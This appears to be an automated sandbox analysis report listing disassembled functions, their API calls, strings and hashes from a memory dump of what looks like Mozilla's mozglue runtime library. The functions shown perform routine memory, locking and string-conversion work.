API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: ed85a3bbc3fea12df06b101a92f8165d1b8f5e684e84cf49a2d49e30dcb13735
Instruction ID: 612fdd502229d76b82b6464f9ec53e0cc1601a842e96e68d77af32c8d6d11642
Opcode Fuzzy Hash: ed85a3bbc3fea12df06b101a92f8165d1b8f5e684e84cf49a2d49e30dcb13735
Instruction Fuzzy Hash: 6A41D431F113268FCB08CE7C8DA436A76B4EB4A714F244139E919E7794D7B59C828BD8

Function 6CA34DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA34E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA34E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA34EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA34F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA34F1E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 178942315473e41f98ee2f8daf49a46b7fc9056c0c5e2a04a166236d680d4549
Instruction ID: b97fcc0eb2f362ff168079ac78181cacf0252c5a4c7a5f52765f3e34c2f21480
Opcode Fuzzy Hash: 178942315473e41f98ee2f8daf49a46b7fc9056c0c5e2a04a166236d680d4549
Instruction Fuzzy Hash: 4F41E2716087119FC705CF29C89099BBBF4BF89344F189A1DF46A87781D731E998CB91

Function 6CA9A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABF770), ref: 6CA9A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A87B

Part of subcall function 6CA9A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CA9A88F,00000000), ref: 6CA9A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CA9A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A90C
LeaveCriticalSection.KERNEL32(6CABF770), ref: 6CA9A97E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: d9ee1fdcf962646e9ab24fec7d05d94ae55126aa09d548fae1c4ac8be23667d8
Instruction ID: 874190274947ef5ec44ebf86bc49095aaac5b85c83d6a39f346607a6d14323fd
Opcode Fuzzy Hash: d9ee1fdcf962646e9ab24fec7d05d94ae55126aa09d548fae1c4ac8be23667d8
Instruction Fuzzy Hash: 9041A4B5D102089FDB00DFE8D885BDDBBB5FF04324F148619E816AB791D731A985CB91

Function 6CA41530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA4152B,?,?,?,?,6CA41248,?), ref: 6CA4159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA4152B,?,?,?,?,6CA41248,?), ref: 6CA415BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA4152B,?,?,?,?,6CA41248,?), ref: 6CA415E7
free.MOZGLUE(?,?,?,?,?,?,6CA4152B,?,?,?,?,6CA41248,?), ref: 6CA41606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA4152B,?,?,?,?,6CA41248,?), ref: 6CA41637

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 3f570201ff4c470281310a1f5779ed24fb9ec96b91ecdab856c22efc90b68184
Instruction ID: 754fe2ec67adcd80b89edb3d34eda709f91a3ead409bd8889869613889e14f7b
Opcode Fuzzy Hash: 3f570201ff4c470281310a1f5779ed24fb9ec96b91ecdab856c22efc90b68184
Instruction Fuzzy Hash: 4C31EA71A001148BC7188E7CD9504BEB7E9BB813647288B2DE527DBBD4EB30D9A58792

Function 6CA9AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CAAE330,?,6CA5C059), ref: 6CA9AD9D

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CAAE330,?,6CA5C059), ref: 6CA9ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CAAE330,?,6CA5C059), ref: 6CA9AE01
GetLastError.KERNEL32(?,00000000,?,?,6CAAE330,?,6CA5C059), ref: 6CA9AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CAAE330,?,6CA5C059), ref: 6CA9AE3D

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 5dabb48226186cc7154f3283ba15e389cecde6b176ca48d7f4d64063027d2649
Instruction ID: 9e1538d9933a35f75fac1761d6b391e157776ccc34dab753f9e8d9fc8329fc72
Opcode Fuzzy Hash: 5dabb48226186cc7154f3283ba15e389cecde6b176ca48d7f4d64063027d2649
Instruction Fuzzy Hash: 843182B1E003259FDB10DF758D45AABB7F9EF48614F15842AE84AD7710E734D845CBA0

Function 6CA95EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CAADCA0,?,?,?,6CA6E8B5,00000000), ref: 6CA95F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA6E8B5,00000000), ref: 6CA95F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA6E8B5,00000000), ref: 6CA95F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA6E8B5,00000000), ref: 6CA95F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA6E8B5,00000000), ref: 6CA95FD6

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 73f815d12298b5d1c4010ad23e84c3be513d56d087f7d9a4312e6eb9074c38a9
Instruction ID: 7bf4ac934fb95a985ced55316c3b3a3f85a4e011e66d512c6e5ab98c2f3f35f1
Opcode Fuzzy Hash: 73f815d12298b5d1c4010ad23e84c3be513d56d087f7d9a4312e6eb9074c38a9
Instruction Fuzzy Hash: FC31EB353106018FD714CF29C899A2AB7F5FF89329B688658E5578BB95C735EC82CB80

Function 6CA3B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA3B532
moz_xmalloc.MOZGLUE(?), ref: 6CA3B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA3B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA3B57E
free.MOZGLUE(00000000), ref: 6CA3B58F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5fba8b14b4eb68d051dee7f6f3eba643ceed49125b4fd898334523b99bd5b933
Instruction ID: c82d1f63b511cc928324dd78a9e81c0272c972fd3970818e6fcaf363f803c52e
Opcode Fuzzy Hash: 5fba8b14b4eb68d051dee7f6f3eba643ceed49125b4fd898334523b99bd5b933
Instruction Fuzzy Hash: D2210771A002159FDB008F69DC50BAABBBAFF41308F288129E819DB351E776D955C7B1

Function 6CA3B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA3B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA3B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA3B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA3B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3B849

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 66c5cbd0357df37209655b79500563024f356094369cbb640d1b418e29f2fbd6
Instruction ID: 19458bec666e6c01f28acb6cefb4494769c6feebc03e959a8ab1f0a989138621
Opcode Fuzzy Hash: 66c5cbd0357df37209655b79500563024f356094369cbb640d1b418e29f2fbd6
Instruction Fuzzy Hash: 7F215EB0E002199FDF04DFA9D8955BEBBB5EF49718F148129EC49A7301E731A985CBA0

Function 6CA96E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA96E78

Part of subcall function 6CA96A10: InitializeCriticalSection.KERNEL32(6CABF618), ref: 6CA96A68
Part of subcall function 6CA96A10: GetCurrentProcess.KERNEL32 ref: 6CA96A7D
Part of subcall function 6CA96A10: GetCurrentProcess.KERNEL32 ref: 6CA96AA1
Part of subcall function 6CA96A10: EnterCriticalSection.KERNEL32(6CABF618), ref: 6CA96AAE
Part of subcall function 6CA96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA96AE1
Part of subcall function 6CA96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA96B15
Part of subcall function 6CA96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CA96B65
Part of subcall function 6CA96A10: LeaveCriticalSection.KERNEL32(6CABF618,?,?), ref: 6CA96B83

MozFormatCodeAddress.MOZGLUE ref: 6CA96EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA96EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA96EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CA96EFF

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0415221e3b9257f0857989a9d76adf4685566f049f09c157ee11970f45f1139e
Instruction ID: 782ad146f4f67e361e914d633f09dd24d631a360a97db3371b957ce4e4450133
Opcode Fuzzy Hash: 0415221e3b9257f0857989a9d76adf4685566f049f09c157ee11970f45f1139e
Instruction Fuzzy Hash: CA21C171A0431A8FCB04CF29E8C569A77F4EF88308F048139E80997351EB709A89CF92

Function 6CA976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA97705

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA97717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA9778F,00000000,00000000,00000000,00000000), ref: 6CA97731
free.MOZGLUE(00000000), ref: 6CA97760

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 363360bffd90f9848912e6349904f46a9bbc22c1bb5d3c9018f7ae7c47ec5e8e
Instruction ID: f2b6898291fde2f4a0f11e2495856f10620cfca49281606450db0e265416e722
Opcode Fuzzy Hash: 363360bffd90f9848912e6349904f46a9bbc22c1bb5d3c9018f7ae7c47ec5e8e
Instruction Fuzzy Hash: 2011C8B1900325ABE710AF799D44BAB7EF8EF45354F048529F848D7300E771988487F2

Function 6CA70D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA33DEF), ref: 6CA70D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA33DEF), ref: 6CA70D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA33DEF), ref: 6CA70DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA70D97, 6CA70DBE
<jemalloc>, xrefs: 6CA70D92, 6CA70DB9

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 318807ab857cb6fc7a8744f7a7c5f7bde248c7e402d48d3663db3d30ff4aaf47
Instruction ID: 751e4b51e60d7c00b5a5d31663ef11043b0d92b39a66b9e3e64a937749f2094d
Opcode Fuzzy Hash: 318807ab857cb6fc7a8744f7a7c5f7bde248c7e402d48d3663db3d30ff4aaf47
Instruction Fuzzy Hash: 58F0E93538039523E63411BA5D0AF6B265DB7C2B25F348135F204EE9C0DAA1E8C146B8

Function 6CA87620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA875C4,?), ref: 6CA8762B

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA874D7,6CA915FC,?,?,?), ref: 6CA87644
GetCurrentThreadId.KERNEL32 ref: 6CA8765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA874D7,6CA915FC,?,?,?), ref: 6CA87663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA874D7,6CA915FC,?,?,?), ref: 6CA87677

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: cc0bcc4c02f2a27e11a78966fbc2388f066ce995c4a1a1d2477eef5d945f546f
Instruction ID: 429f4bfbee0f62c7dee4044e12a17eaf87d4e65cf0813befdf7312d591a7c3ec
Opcode Fuzzy Hash: cc0bcc4c02f2a27e11a78966fbc2388f066ce995c4a1a1d2477eef5d945f546f
Instruction Fuzzy Hash: 08F0C271E10786AFD7008F21D888676B778FFEA259F118316F90443621E7B0B5D18BD0

Function 6CA91700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA91800

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

Part of subcall function 6CA34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA73EBD,6CA73EBD,00000000), ref: 6CA342A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CA918C7
Details, xrefs: 6CA91925
name, xrefs: 6CA91939

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 224594424a142c65114f699822019d5507a53fffc3c1ac55a3172f32d396a7a3
Instruction ID: b2e3ea2f9262f1dd519ce2f8bedf195222c664d01b354e9315de8a835b8b7030
Opcode Fuzzy Hash: 224594424a142c65114f699822019d5507a53fffc3c1ac55a3172f32d396a7a3
Instruction Fuzzy Hash: 4571F270A003069FCB04CF68D5556AABBB5FF45304F04866DD8199BB41DB70BAE9CBE1

Function 6CA9B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CA9B0A6,6CA9B0A6,?,6CA9AF67,?,00000010,?,6CA9AF67,?,00000010,00000000,?,?,6CA9AB1F), ref: 6CA9B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CA9B0A6,6CA9B0A6,?,6CA9AF67,?,00000010,?,6CA9AF67,?,00000010,00000000,?), ref: 6CA9B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CA9B0A6,6CA9B0A6,?,6CA9AF67,?,00000010,?,6CA9AF67,?,00000010), ref: 6CA9B25F

Strings

map/set<T> too long, xrefs: 6CA9B1FA

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: b472107de08f3d8d98e5bdb99769de8f66c753377e5beded53fb2086821e3947
Instruction ID: 2b3227aee98cee8deb4b6ae7c6b7751d9aff2863c00ec797385a2ff7c6cb5691
Opcode Fuzzy Hash: b472107de08f3d8d98e5bdb99769de8f66c753377e5beded53fb2086821e3947
Instruction Fuzzy Hash: 1461A9746102058FDB11CF19D981A9ABBF1FF4A318F28C299D8198FB52C731EC85CBA1

Function 6CA5D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

EnterCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D4F2
LeaveCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D50B

Part of subcall function 6CA3CFE0: EnterCriticalSection.KERNEL32(6CABE784), ref: 6CA3CFF6
Part of subcall function 6CA3CFE0: LeaveCriticalSection.KERNEL32(6CABE784), ref: 6CA3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D52E
EnterCriticalSection.KERNEL32(6CABE7DC), ref: 6CA5D690
LeaveCriticalSection.KERNEL32(6CABE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA6D1C5), ref: 6CA5D751

Strings

MOZ_CRASH(), xrefs: 6CA5D4BB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 83e2b61af29c4150e96ee0113ec5f4e7cc5c49c2b7808762c6a4ed121e32f138
Instruction ID: 8313d484ec31cba2c9c11111e4973fb4c4e9f0ac2274ffc27eb0a5c87dd66f60
Opcode Fuzzy Hash: 83e2b61af29c4150e96ee0113ec5f4e7cc5c49c2b7808762c6a4ed121e32f138
Instruction Fuzzy Hash: 6D511471A047028FD318CF29C59435AB7F5EB89304F588A2EE59AC7F94D770E881CB51

Function 6CA84630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA84721

Strings

profiler-paused, xrefs: 6CA846E4
-%llu, xrefs: 6CA84733
., xrefs: 6CA8476A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
